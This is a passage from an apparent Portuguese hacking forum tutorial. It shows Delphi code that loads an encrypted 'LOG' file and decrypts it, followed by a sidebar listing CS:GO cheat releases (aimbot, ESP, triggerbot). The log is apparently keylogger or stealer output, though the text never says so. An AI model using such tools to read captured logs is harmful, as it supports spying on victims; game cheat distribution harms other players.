SrcPos := SrcPos + 2;
until (SrcPos >= Length(Src));
end;
Result:= Dest;
Fim:
end;
No button 1 coloque o seguinte codigo:
begin
if Opendialog1.Execute then
begin
memo1.Lines.LoadFromFile(opendialog1.FileName);
Explicação: Irá carregar o LOG no Memo1
Agora no button2 coloque o seguinte código:
memo2.text:= Crypt('D',memo1.text);
Explicação: Irá Descriptografar o LOG dando a possibilidade de voce o ler [Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Bom é básicamente isso, espero que tenham gostado ^^
Agora vou durmir e descançar meus dedos xD
Abraços...
Créditos: KyuR(pelo tópico+tutorial)
12/19/2017, 18:48 por MrViSiBLe
» MU LIVE SEASON 2 | INAUGURA DOMINGO 17/09
9/2/2017, 13:51 por MrViSiBLe
» Sorteio Perfumes - Forum ViSiBLe
8/25/2017, 08:27 por Convidado
» Novas Vagas Para Staff
8/24/2017, 15:20 por MrViSiBLe
» CSGO [Internal/External] Multi-Hack AIMBOT + TRIGGERBOT + ESP + BHOP
8/22/2017, 03:04 por MrViSiBLe
» REB00T 31/07/2017
8/22/2017, 03:01 por MrViSiBLe
» [CS:GO] HENTAIWARE 19/08/2017 | LEGIT | RAGE | ESP | GLOVES | FACEIT |
8/22/2017, 02:58 por MrViSiBLe
» DeviceCheats CS:GO Gratuito 31/07/2017
8/22/2017, 02:56 por MrViSiBLe
» [CS:GO] External - Glow ESP | Triggerbot | RCS | BunnyHop | Noflash
8/22/2017, 02:53 por MrViSiBLe
» [CS:GO] GLOW ESP 21/08/2017
8/22/2017, 02:49 por MrViSiBLe